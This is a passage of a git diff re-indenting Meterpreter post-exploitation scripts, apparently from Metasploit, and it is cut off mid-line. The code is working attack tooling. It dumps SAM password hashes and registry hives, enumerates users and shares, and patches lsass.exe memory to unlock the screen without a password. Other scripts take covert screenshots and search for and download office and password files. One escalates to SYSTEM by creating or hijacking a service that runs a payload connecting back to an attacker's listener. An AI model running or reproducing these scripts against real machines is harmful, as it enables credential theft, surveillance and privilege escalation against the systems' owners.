::File.open(File.join(logs, "system.txt"), "w") do |fd| + fd.puts("Computer: #{info['Computer']}") + fd.puts("OS: #{info['OS']}") + end - ::File.open(File.join(logs, "env.txt"), "w") do |fd| - fd.puts(m_exec(client, "cmd.exe /c set")) - end + ::File.open(File.join(logs, "env.txt"), "w") do |fd| + fd.puts(m_exec(client, "cmd.exe /c set")) + end - ::File.open(File.join(logs, "users.txt"), "w") do |fd| - fd.puts(m_exec(client, "net user")) - end + ::File.open(File.join(logs, "users.txt"), "w") do |fd| + fd.puts(m_exec(client, "net user")) + end - ::File.open(File.join(logs, "shares.txt"), "w") do |fd| - fd.puts(m_exec(client, "net share")) - end + ::File.open(File.join(logs, "shares.txt"), "w") do |fd| + fd.puts(m_exec(client, "net share")) + end - ::File.open(File.join(logs, "services.txt"), "w") do |fd| - fd.puts(m_exec(client, "net start")) - end + ::File.open(File.join(logs, "services.txt"), "w") do |fd| + fd.puts(m_exec(client, "net start")) + end - ::File.open(File.join(logs, "nethood.txt"), "w") do |fd| - fd.puts(m_exec(client, "net view")) - end + ::File.open(File.join(logs, "nethood.txt"), "w") do |fd| + fd.puts(m_exec(client, "net view")) + end - ::File.open(File.join(logs, "localgroup.txt"), "w") do |fd| - fd.puts(m_exec(client, "net localgroup")) - end + ::File.open(File.join(logs, "localgroup.txt"), "w") do |fd| + fd.puts(m_exec(client, "net localgroup")) + end - ::File.open(File.join(logs, "group.txt"), "w") do |fd| - fd.puts(m_exec(client, "net group")) - end + ::File.open(File.join(logs, "group.txt"), "w") do |fd| + fd.puts(m_exec(client, "net group")) + end - ::File.open(File.join(logs, "systeminfo.txt"), "w") do |fd| - fd.puts(m_exec(client, "systeminfo")) - end + ::File.open(File.join(logs, "systeminfo.txt"), "w") do |fd| + fd.puts(m_exec(client, "systeminfo")) + end - begin - client.core.use("priv") - hashes = client.priv.sam_hashes - print_status("Dumping password hashes...") - ::File.open(File.join(logs, "hashes.txt"), "w") do |fd| - hashes.each do |user| - fd.puts(user.to_s) - end - end - rescue ::Exception => e - print_status("Error dumping hashes: #{e.class} #{e}") - end + begin + client.core.use("priv") + hashes = client.priv.sam_hashes + print_status("Dumping password hashes...") + ::File.open(File.join(logs, "hashes.txt"), "w") do |fd| + hashes.each do |user| + fd.puts(user.to_s) + end + end + rescue ::Exception => e + print_status("Error dumping hashes: #{e.class} #{e}") + end - print_status("Obtaining the entire registry...") - hives = %w{HKCU HKLM HKCC HKCR HKU} - hives.each do |hive| - print_status(" Exporting #{hive}") + print_status("Obtaining the entire registry...") + hives = %w{HKCU HKLM HKCC HKCR HKU} + hives.each do |hive| + print_status(" Exporting #{hive}") - tempname = "#{tmp}\\#{Rex::Text.rand_text_alpha(8)}.reg" - m_exec(client, "reg.exe export #{hive} #{tempname}") + tempname = "#{tmp}\\#{Rex::Text.rand_text_alpha(8)}.reg" + m_exec(client, "reg.exe export #{hive} #{tempname}") - print_status(" Downloading #{hive} (#{tempname})") - client.fs.file.download_file(File.join(logs, "#{hive}.reg"), tempname) + print_status(" Downloading #{hive} (#{tempname})") + client.fs.file.download_file(File.join(logs, "#{hive}.reg"), tempname) - print_status(" Cleaning #{hive}") - m_unlink(client, tempname) - end + print_status(" Cleaning #{hive}") + m_unlink(client, tempname) + end - print_status("Completed processing on #{host}:#{port}...") + print_status("Completed processing on #{host}:#{port}...") rescue ::Exception => e - print_status("Exception: #{e.class} #{e} #{e.backtrace}") + print_status("Exception: #{e.class} #{e} #{e.backtrace}") end diff --git a/scripts/meterpreter/screen_unlock.rb b/scripts/meterpreter/screen_unlock.rb index 20827248aa..b95c87c221 100644 --- a/scripts/meterpreter/screen_unlock.rb +++ b/scripts/meterpreter/screen_unlock.rb @@ -8,68 +8,68 @@ revert = false targets = [ - { :sig => "8bff558bec83ec50a1", :sigoffset => 0x9927, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x99cc, :os => /Windows XP.*Service Pack 2/ }, - { :sig => "8bff558bec83ec50a1", :sigoffset => 0x981b, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x98c0, :os => /Windows XP.*Service Pack 3/ }, - { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb76a, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb827, :os => /Windows Vista/ }, - { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb391, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb44e, :os => /Windows Vista/ }, - { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xacf6, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xadb3, :os => /Windows Vista/ }, - { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xe881, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xe93e, :os => /Windows 7/ } + { :sig => "8bff558bec83ec50a1", :sigoffset => 0x9927, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x99cc, :os => /Windows XP.*Service Pack 2/ }, + { :sig => "8bff558bec83ec50a1", :sigoffset => 0x981b, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x98c0, :os => /Windows XP.*Service Pack 3/ }, + { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb76a, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb827, :os => /Windows Vista/ }, + { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb391, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb44e, :os => /Windows Vista/ }, + { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xacf6, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xadb3, :os => /Windows Vista/ }, + { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xe881, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xe93e, :os => /Windows 7/ } ] opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-r" => [ false, "revert the patch (enable screen locking again)"] + "-h" => [ false,"Help menu." ], + "-r" => [ false, "revert the patch (enable screen locking again)"] ) opts.parse(args) { |opt, idx, val| - case opt - when "-r" - revert = true - when "-h" - print_line("") - print_line("USAGE: run screen_unlock [-r]") - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-r" + revert = true + when "-h" + print_line("") + print_line("USAGE: run screen_unlock [-r]") + print_line(opts.usage) + raise Rex::Script::Completed + end } def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end unsupported if client.platform !~ /win32|win64/i os = client.sys.config.sysinfo['OS'] targets.each do |t| - if os =~ t[:os] - target = t - print_status("OS '#{os}' found in known targets") - pid = client.sys.process["lsass.exe"] - p = client.sys.process.open(pid, PROCESS_ALL_ACCESS) - dllbase = p.image["msv1_0.dll"] + if os =~ t[:os] + target = t + print_status("OS '#{os}' found in known targets") + pid = client.sys.process["lsass.exe"] + p = client.sys.process.open(pid, PROCESS_ALL_ACCESS) + dllbase = p.image["msv1_0.dll"] - sig = p.memory.read(dllbase + target[:sigoffset], target[:sig].length / 2).unpack("H*")[0] - if sig != target[:sig] - print_error("found signature does not match") - next - end - old_code = p.memory.read(dllbase + target[:patchoffset], target[:orig_code].length / 2).unpack("H*")[0] - if !((old_code == target[:orig_code] && !revert) || (old_code == target[:patch] && revert)) - print_error("found code does not match") - next - end + sig = p.memory.read(dllbase + target[:sigoffset], target[:sig].length / 2).unpack("H*")[0] + if sig != target[:sig] + print_error("found signature does not match") + next + end + old_code = p.memory.read(dllbase + target[:patchoffset], target[:orig_code].length / 2).unpack("H*")[0] + if !((old_code == target[:orig_code] && !revert) || (old_code == target[:patch] && revert)) + print_error("found code does not match") + next + end - print_status("patching...") - new_code = revert ? target[:orig_code] : target[:patch] - p.memory.write(dllbase + target[:patchoffset], [new_code].pack("H*")) + print_status("patching...") + new_code = revert ? target[:orig_code] : target[:patch] + p.memory.write(dllbase + target[:patchoffset], [new_code].pack("H*")) - written_code = p.memory.read(dllbase + target[:patchoffset], target[:patch].length / 2).unpack("H*")[0] - if ((written_code == target[:patch] && !revert) || (written_code == target[:orig_code] && revert)) - print_status("done!") - raise Rex::Script::Completed - else - print_error("failed!") - next - end - end + written_code = p.memory.read(dllbase + target[:patchoffset], target[:patch].length / 2).unpack("H*")[0] + if ((written_code == target[:patch] && !revert) || (written_code == target[:orig_code] && revert)) + print_status("done!") + raise Rex::Script::Completed + else + print_error("failed!") + next + end + end end print_status("no working target found") diff --git a/scripts/meterpreter/screenspy.rb b/scripts/meterpreter/screenspy.rb index 4105efbc79..bb6a3a9e2f 100644 --- a/scripts/meterpreter/screenspy.rb +++ b/scripts/meterpreter/screenspy.rb @@ -7,10 +7,10 @@ require 'fileutils' opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-d" => [ true, "The Delay in seconds between each screenshot." ], - "-t" => [ true, "The time to run in sec." ], - "-s" => [ true, "The local system linux/windows" ] + "-h" => [ false, "Help menu." ], + "-d" => [ true, "The Delay in seconds between each screenshot." ], + "-t" => [ true, "The time to run in sec." ], + "-s" => [ true, "The local system linux/windows" ] ) freq = 3 @@ -20,35 +20,35 @@ meter_type = client.platform localsys = "linux" opts.parse(args) { |opt, idx, val| - case opt - when '-d' - freq = val.to_i - when '-t' - count = val.to_i - when '-s' - localsys = val.to_s + case opt + when '-d' + freq = val.to_i + when '-t' + count = val.to_i + when '-s' + localsys = val.to_s - when "-h" - print_line - print_line "Screenspy v1.0" - print_line "--------------" - print_line - print_line - print_line "Usage: bgrun screenspy -t 20 -d 1 => will take interactive Screenshot every sec for 20 sec long." - print_line "Usage: bgrun screenspy -t 60 -d 5 => will take interactive Screenshot every 5 sec for 1 min long." - print_line "Usage: bgrun screenspy -s windows -d 1 -t 60 => will take interactive Screenshot every 1 sec for 1 min long, windows local mode." - print_line - print_line "Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com" - print_line(opts.usage) - raise Rex::Script::Completed - end + when "-h" + print_line + print_line "Screenspy v1.0" + print_line "--------------" + print_line + print_line + print_line "Usage: bgrun screenspy -t 20 -d 1 => will take interactive Screenshot every sec for 20 sec long." + print_line "Usage: bgrun screenspy -t 60 -d 5 => will take interactive Screenshot every 5 sec for 1 min long." + print_line "Usage: bgrun screenspy -s windows -d 1 -t 60 => will take interactive Screenshot every 1 sec for 1 min long, windows local mode." + print_line + print_line "Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com" + print_line(opts.usage) + raise Rex::Script::Completed + end } # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # Check for Version of Meterpreter @@ -69,77 +69,77 @@ outfile = ::File.join(Msf::Config.log_directory,file) begin - process2mig = "explorer.exe" + process2mig = "explorer.exe" - # Actual migration - mypid = session.sys.process.getpid - session.sys.process.get_processes().each do |x| - if (process2mig.index(x['name'].downcase) and x['pid'] != mypid) - print_status("#{process2mig} Process found, migrating into #{x['pid']}") - session.core.migrate(x['pid'].to_i) - print_status("Migration Successful!!") - end - end + # Actual migration + mypid = session.sys.process.getpid + session.sys.process.get_processes().each do |x| + if (process2mig.index(x['name'].downcase) and x['pid'] != mypid) + print_status("#{process2mig} Process found, migrating into #{x['pid']}") + session.core.migrate(x['pid'].to_i) + print_status("Migration Successful!!") + end + end rescue - print_status("Failed to migrate process!") - #next + print_status("Failed to migrate process!") + #next end begin - session.core.use("espia") + session.core.use("espia") - begin + begin - data="<title>#{host}" - path1 = File.join(logs,"video.html") - File.open(path1, 'w') do |f2| - f2.puts(data) - end + data="#{host}" + path1 = File.join(logs,"video.html") + File.open(path1, 'w') do |f2| + f2.puts(data) + end - if (localsys == "windows") + if (localsys == "windows") - print_status("Runing in local mode => windows") - print_status("Opening Interactive view...") - localcmd="start firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html\"" - else - print_status("Runing in local mode => Linux") - print_status("Opening Interactive view...") - localcmd="bash firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html&\"" - end + print_status("Runing in local mode => windows") + print_status("Opening Interactive view...") + localcmd="start firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html\"" + else + print_status("Runing in local mode => Linux") + print_status("Opening Interactive view...") + localcmd="bash firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html&\"" + end - system (localcmd) - (1..count).each do |i| - sleep(freq) if(i != 1) - path = File.join(logs,"screenshot.jpeg") - data = session.espia.espia_image_get_dev_screen + system (localcmd) + (1..count).each do |i| + sleep(freq) if(i != 1) + path = File.join(logs,"screenshot.jpeg") + data = session.espia.espia_image_get_dev_screen - if(data) - ::File.open(path, 'wb') do |fd| - fd.write(data) - fd.close() - end - end - end + if(data) + ::File.open(path, 'wb') do |fd| + fd.write(data) + fd.close() + end + end + end - rescue ::Exception => e - print_status("Interactive Screenshot Failed: #{e.class} #{e} #{e.backtrace}") - end + rescue ::Exception => e + print_status("Interactive Screenshot Failed: #{e.class} #{e} #{e.backtrace}") + end - print_status("The interactive Session ended...") - data = <<-EOS + print_status("The interactive Session ended...") + data = <<-EOS #{host} - Interactive Session ended EOS - File.open(path1, 'w') do |f2| - f2.puts(data) - end + File.open(path1, 'w') do |f2| + f2.puts(data) + end rescue ::Exception => e - print_status("Exception: #{e.class} #{e} #{e.backtrace}") + print_status("Exception: #{e.class} #{e} #{e.backtrace}") end diff --git a/scripts/meterpreter/search_dwld.rb b/scripts/meterpreter/search_dwld.rb index 05b39c3fe5..2c633f860e 100644 --- a/scripts/meterpreter/search_dwld.rb +++ b/scripts/meterpreter/search_dwld.rb @@ -11,69 +11,69 @@ # Filters $filters = { - 'office' => '\.(doc|docx|ppt|pptx|pps|xls|xlsx|mdb|od.)$', - 'win9x' => '\.pwl$', - 'passwd' => '(pass|pwd)', + 'office' => '\.(doc|docx|ppt|pptx|pps|xls|xlsx|mdb|od.)$', + 'win9x' => '\.pwl$', + 'passwd' => '(pass|pwd)', } @@opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ] + "-h" => [ false,"Help menu." ] ) def usage - print_line "search_dwld -- recursively search for and download files matching a given pattern" - print_line "USAGE: run search_dwld [base directory] [filter] [pattern]" - print_line - print_line "filter can be a defined pattern or 'free', in which case pattern must be given" - print_line "Defined patterns:" - print_line $filters.keys.sort.collect{|k| "\t#{k}"}.join("\n") - print_line - print_line "Examples:" - print_line " run search_dwld" - print_line " => recursively look for (MS|Open)Office in C:\\" - print_line " run search_dwld %USERPROFILE% win9x" - print_line " => recursively look for *.PWL files in the user home directory" - print_line " run search_dwld E:\\\\ free '\.(jpg|png|gif)$'" - print_line " => recursively look for pictures in the E: drive" - print_line(@@opts.usage) - raise Rex::Script::Completed + print_line "search_dwld -- recursively search for and download files matching a given pattern" + print_line "USAGE: run search_dwld [base directory] [filter] [pattern]" + print_line + print_line "filter can be a defined pattern or 'free', in which case pattern must be given" + print_line "Defined patterns:" + print_line $filters.keys.sort.collect{|k| "\t#{k}"}.join("\n") + print_line + print_line "Examples:" + print_line " run search_dwld" + print_line " => recursively look for (MS|Open)Office in C:\\" + print_line " run search_dwld %USERPROFILE% win9x" + print_line " => recursively look for *.PWL files in the user home directory" + print_line " run search_dwld E:\\\\ free '\.(jpg|png|gif)$'" + print_line " => recursively look for pictures in the E: drive" + print_line(@@opts.usage) + raise Rex::Script::Completed end @@opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - end + case opt + when "-h" + usage + end } def scan(path) - begin - dirs = client.fs.dir.foreach(path) - rescue ::Rex::Post::Meterpreter::RequestError => e - print_error("Error scanning #{path}: #{$!}") - return - end + begin + dirs = client.fs.dir.foreach(path) + rescue ::Rex::Post::Meterpreter::RequestError => e + print_error("Error scanning #{path}: #{$!}") + return + end - dirs.each {|x| - next if x =~ /^(\.|\.\.)$/ - fullpath = path + '\\' + x + dirs.each {|x| + next if x =~ /^(\.|\.\.)$/ + fullpath = path + '\\' + x - if client.fs.file.stat(fullpath).directory? - scan(fullpath) - elsif fullpath =~ /#{$motif}/i - # Replace ':' or '%' or '\' by '_' - dst = fullpath.tr_s(":|\%|\\", "_") - dst = Rex::FileUtils.clean_path(::Dir.tmpdir + ::File::Separator + dst) - print_line("Downloading '#{fullpath}' to '#{dst}'") - client.fs.file.download_file(dst, fullpath) - end - } + if client.fs.file.stat(fullpath).directory? + scan(fullpath) + elsif fullpath =~ /#{$motif}/i + # Replace ':' or '%' or '\' by '_' + dst = fullpath.tr_s(":|\%|\\", "_") + dst = Rex::FileUtils.clean_path(::Dir.tmpdir + ::File::Separator + dst) + print_line("Downloading '#{fullpath}' to '#{dst}'") + client.fs.file.download_file(dst, fullpath) + end + } end #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end @@ -84,16 +84,16 @@ filter = args[1] || "office" # Set the regexp if filter == 'free' - if args[2].nil? - raise RuntimeError.new("free filter requires pattern argument") - end - $motif = args[2] + if args[2].nil? + raise RuntimeError.new("free filter requires pattern argument") + end + $motif = args[2] else - $motif = $filters[filter] + $motif = $filters[filter] end if $motif.nil? - raise RuntimeError.new("Unrecognized filter") + raise RuntimeError.new("Unrecognized filter") end # Search and download diff --git a/scripts/meterpreter/service_manager.rb b/scripts/meterpreter/service_manager.rb index 6022334a4c..f112ef47f4 100644 --- a/scripts/meterpreter/service_manager.rb +++ b/scripts/meterpreter/service_manager.rb @@ -18,19 +18,19 @@ srv_delete = false @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false , "Help menu." ], - "-l" => [ false , "List Services"], - "-S" => [ false , "Start Service"], - "-K" => [ false , "Stop Service"], - "-C" => [ false , "Create Service, service will be set to auto start"], - "-c" => [ false , "Change Service StartUp. Default " ], - "-i" => [ false , "Get Service Information"], - "-n" => [ true , "Service Name"], - "-s" => [ true , "Startup Parameter for service. Specify Auto, Manual or Disabled"], - "-d" => [ true , "Display Name of Service"], - "-p" => [ true , "Service command"], - "-D" => [ false , "Delete Service"] - ) + "-h" => [ false , "Help menu." ], + "-l" => [ false , "List Services"], + "-S" => [ false , "Start Service"], + "-K" => [ false , "Stop Service"], + "-C" => [ false , "Create Service, service will be set to auto start"], + "-c" => [ false , "Change Service StartUp. Default " ], + "-i" => [ false , "Get Service Information"], + "-n" => [ true , "Service Name"], + "-s" => [ true , "Startup Parameter for service. Specify Auto, Manual or Disabled"], + "-d" => [ true , "Display Name of Service"], + "-p" => [ true , "Service command"], + "-D" => [ false , "Delete Service"] + ) meter_type = client.platform ################## Function Declarations ################## @@ -38,26 +38,26 @@ meter_type = client.platform # Usage Message Function #------------------------------------------------------------------------------- def usage - print_line "Meterpreter Script for managing Windows Services." - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_line "Meterpreter Script for managing Windows Services." + print_line(@exec_opts.usage) + raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # Check if sufficient privileges are present for certain actions def priv_check - if not is_uac_enabled? or is_admin? - return true - else - print_error("Insuficient Privileges") - raise Rex::Script::Completed - end + if not is_uac_enabled? or is_admin? + return true + else + print_error("Insuficient Privileges") + raise Rex::Script::Completed + end end @@ -66,154 +66,154 @@ end wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i @exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-l" - srv_list = true - when "-n" - srv_name = val - when "-S" - srv_start = true - when "-K" - srv_stop = true - when "-i" - srv_info = true - when "-c" - srv_change_startup = true - when "-C" - srv_create = true - when "-d" - srv_display_name = val - when "-p" - srv_command = val - when "-D" - srv_delete = true - end + case opt + when "-h" + usage + when "-l" + srv_list = true + when "-n" + srv_name = val + when "-S" + srv_start = true + when "-K" + srv_stop = true + when "-i" + srv_info = true + when "-c" + srv_change_startup = true + when "-C" + srv_create = true + when "-d" + srv_display_name = val + when "-p" + srv_command = val + when "-D" + srv_delete = true + end } # List Services if srv_list - print_status("Service List:") - service_list.each do |s| - print_good("\t#{s}") - end - raise Rex::Script::Completed + print_status("Service List:") + service_list.each do |s| + print_good("\t#{s}") + end + raise Rex::Script::Completed # Start a service elsif srv_start - priv_check - if srv_name - begin - returned_value = service_start(srv_name) - if returned_value == 0 - print_good("Service #{srv_name} Started") - elsif returned_value == 1 - print_good("Service #{srv_name} already Running") - elsif returned_value == 2 - print_error("Service #{srv_name} is Disabled could not be started.") - end + priv_check + if srv_name + begin + returned_value = service_start(srv_name) + if returned_value == 0 + print_good("Service #{srv_name} Started") + elsif returned_value == 1 + print_good("Service #{srv_name} already Running") + elsif returned_value == 2 + print_error("Service #{srv_name} is Disabled could not be started.") + end - rescue - print_error("A Service Name must be provided, service names are case sensitive.") - end - else - print_error("No Service Name was provided!") - end - raise Rex::Script::Completed + rescue + print_error("A Service Name must be provided, service names are case sensitive.") + end + else + print_error("No Service Name was provided!") + end + raise Rex::Script::Completed # Stop a Service elsif srv_stop - priv_check - if srv_name - begin - returned_value = service_stop(srv_name) - if returned_value == 0 - print_good("Service #{srv_name} Stopped") - elsif returned_value == 1 - print_good("Service #{srv_name} already Stopped") - elsif returned_value == 2 - print_error("Service #{srv_name} can not be stopped.") - end + priv_check + if srv_name + begin + returned_value = service_stop(srv_name) + if returned_value == 0 + print_good("Service #{srv_name} Stopped") + elsif returned_value == 1 + print_good("Service #{srv_name} already Stopped") + elsif returned_value == 2 + print_error("Service #{srv_name} can not be stopped.") + end - rescue - print_error("A Service Name must be provided, service names are case sensitive.") - end - else - print_error("No Service Name was provided!") - end - raise Rex::Script::Completed + rescue + print_error("A Service Name must be provided, service names are case sensitive.") + end + else + print_error("No Service Name was provided!") + end + raise Rex::Script::Completed # Get service info elsif srv_info - srv_conf = {} - if srv_name - begin - srv_conf = service_info(srv_name) - print_status("Service Information for #{srv_name}:") - print_good("\tName: #{srv_conf['Name']}") - print_good("\tStartup: #{srv_conf['Startup']}") - print_good("\tCommand: #{srv_conf['Command']}") - print_good("\tCredentials: #{srv_conf['Credentials']}") - rescue - print_error("A Service Name must be provided, service names are case sensitive.") - end - else - print_error("No Service Name was provided!") - end - raise Rex::Script::Completed + srv_conf = {} + if srv_name + begin + srv_conf = service_info(srv_name) + print_status("Service Information for #{srv_name}:") + print_good("\tName: #{srv_conf['Name']}") + print_good("\tStartup: #{srv_conf['Startup']}") + print_good("\tCommand: #{srv_conf['Command']}") + print_good("\tCredentials: #{srv_conf['Credentials']}") + rescue + print_error("A Service Name must be provided, service names are case sensitive.") + end + else + print_error("No Service Name was provided!") + end + raise Rex::Script::Completed # Change startup of a service elsif srv_change_startup - priv_check - if srv_name - begin - print_status("Changing Service #{srv_name} Startup to #{srv_startup}") - service_change_startup(srv_name,srv_startup) - print_good("Service Startup changed!") + priv_check + if srv_name + begin + print_status("Changing Service #{srv_name} Startup to #{srv_startup}") + service_change_startup(srv_name,srv_startup) + print_good("Service Startup changed!") - rescue - print_error("A Service Name must be provided, service names are case sensitive.") - end - else - print_error("No Service Name was provided!") - end - raise Rex::Script::Completed + rescue + print_error("A Service Name must be provided, service names are case sensitive.") + end + else + print_error("No Service Name was provided!") + end + raise Rex::Script::Completed # Create a service elsif srv_create - priv_check - if srv_name and srv_command - begin - print_status("Creating Service #{srv_name}") - service_create(srv_name,srv_display_name,srv_command) - print_good("\tService Created!") - print_good("\tDisplay Name: #{srv_display_name}") - print_good("\tCommand: #{srv_command}") - print_good("\tSet to Auto Star.") - rescue::Exception => e - print_error("Error: #{e}") - end - else - print_error("No Service Name and Service Command where provided!") - end + priv_check + if srv_name and srv_command + begin + print_status("Creating Service #{srv_name}") + service_create(srv_name,srv_display_name,srv_command) + print_good("\tService Created!") + print_good("\tDisplay Name: #{srv_display_name}") + print_good("\tCommand: #{srv_command}") + print_good("\tSet to Auto Star.") + rescue::Exception => e + print_error("Error: #{e}") + end + else + print_error("No Service Name and Service Command where provided!") + end # Delete a service elsif srv_delete - priv_check - if srv_name - begin - print_status("Deleting Service #{srv_name}") - service_delete(srv_name) - print_good("\tService #{srv_name} Delete") - rescue::Exception => e - print_error("A Service Name must be provided, service names are case sensitive.") - print_error("Error: #{e}") - end - else - print_error("No Service Name and Service Command where provided!") - end - raise Rex::Script::Completed + priv_check + if srv_name + begin + print_status("Deleting Service #{srv_name}") + service_delete(srv_name) + print_good("\tService #{srv_name} Delete") + rescue::Exception => e + print_error("A Service Name must be provided, service names are case sensitive.") + print_error("Error: #{e}") + end + else + print_error("No Service Name and Service Command where provided!") + end + raise Rex::Script::Completed else - usage + usage end diff --git a/scripts/meterpreter/service_permissions_escalate.rb b/scripts/meterpreter/service_permissions_escalate.rb index 1ee4f22d5a..0f3c4bbdae 100644 --- a/scripts/meterpreter/service_permissions_escalate.rb +++ b/scripts/meterpreter/service_permissions_escalate.rb @@ -12,17 +12,17 @@ ## if client.platform !~ /win32/ - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # # Options # opts = Rex::Parser::Arguments.new( - "-a" => [ false, "Aggressive mode - exploit as many services as possible (can be dangerous!)"], - "-h" => [ false, "This help menu"], - "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening"] + "-a" => [ false, "Aggressive mode - exploit as many services as possible (can be dangerous!)"], + "-h" => [ false, "This help menu"], + "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], + "-p" => [ true, "The port on the remote host where Metasploit is listening"] ) # @@ -37,18 +37,18 @@ aggressive = false # Option parsing # opts.parse(args) do |opt, idx, val| - case opt - when "-a" - aggressive = true - when "-h" - print_status("Generic weak service permissions privilege escalation.") - print_line(opts.usage) - raise Rex::Script::Completed - when "-r" - rhost = val - when "-p" - rport = val.to_i - end + case opt + when "-a" + aggressive = true + when "-h" + print_status("Generic weak service permissions privilege escalation.") + print_line(opts.usage) + raise Rex::Script::Completed + when "-r" + rhost = val + when "-p" + rport = val.to_i + end end # Get the exe payload. @@ -75,15 +75,15 @@ handler.datastore['InitialAutoRunScript'] = "migrate -f" handler.datastore['ExitOnSession'] = false #start a handler to be ready handler.exploit_simple( - 'Payload' => handler.datastore['PAYLOAD'], - 'RunAsJob' => true + 'Payload' => handler.datastore['PAYLOAD'], + 'RunAsJob' => true ) #attempt to make new service client.railgun.kernel32.LoadLibraryA("advapi32.dll") client.railgun.get_dll('advapi32') client.railgun.add_function( 'advapi32', 'DeleteService','BOOL',[ - [ "DWORD", "hService", "in" ] + [ "DWORD", "hService", "in" ] ]) #SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config @@ -92,109 +92,109 @@ print_status("Trying to add a new service...") adv = client.railgun.advapi32 manag = adv.OpenSCManagerA(nil,nil,0x10013) if(manag["return"] != 0) - # SC_MANAGER_CREATE_SERVICE = 0x0002 - newservice = adv.CreateServiceA(manag["return"],"walservice","Windows Application Layer",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil) - #SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010 - #SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0 - if(newservice["return"] != 0) - print_status("Created service... #{newservice["return"]}") - ret = adv.StartServiceA(newservice["return"], 0, nil) - print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.") - service_delete("walservice") - adv.CloseServiceHandle(newservice["return"]) - if aggressive == false - adv.CloseServiceHandle(manag["return"]) - raise Rex::Script::Completed - end - else - print_status("Uhoh. service creation failed, but we should have the permissions. :-(") - end + # SC_MANAGER_CREATE_SERVICE = 0x0002 + newservice = adv.CreateServiceA(manag["return"],"walservice","Windows Application Layer",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil) + #SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010 + #SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0 + if(newservice["return"] != 0) + print_status("Created service... #{newservice["return"]}") + ret = adv.StartServiceA(newservice["return"], 0, nil) + print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.") + service_delete("walservice") + adv.CloseServiceHandle(newservice["return"]) + if aggressive == false + adv.CloseServiceHandle(manag["return"]) + raise Rex::Script::Completed + end + else + print_status("Uhoh. service creation failed, but we should have the permissions. :-(") + end else - print_status("No privs to create a service...") - manag = adv.OpenSCManagerA(nil,nil,1) - if(manag["return"] == 0) - print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.") - end + print_status("No privs to create a service...") + manag = adv.OpenSCManagerA(nil,nil,1) + if(manag["return"] == 0) + print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.") + end end print_status("Trying to find weak permissions in existing services..") #Search through list of services to find weak permissions, whether file or config serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" #for each service service_list.each do |serv| - begin - srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s - if srvtype != "16" - continue - end - moved = false - configed = false - #default path, but there should be an ImagePath registry key - source = client.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe") - #get path to exe; parse out quotes and arguments - sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s - sourcemaybe = 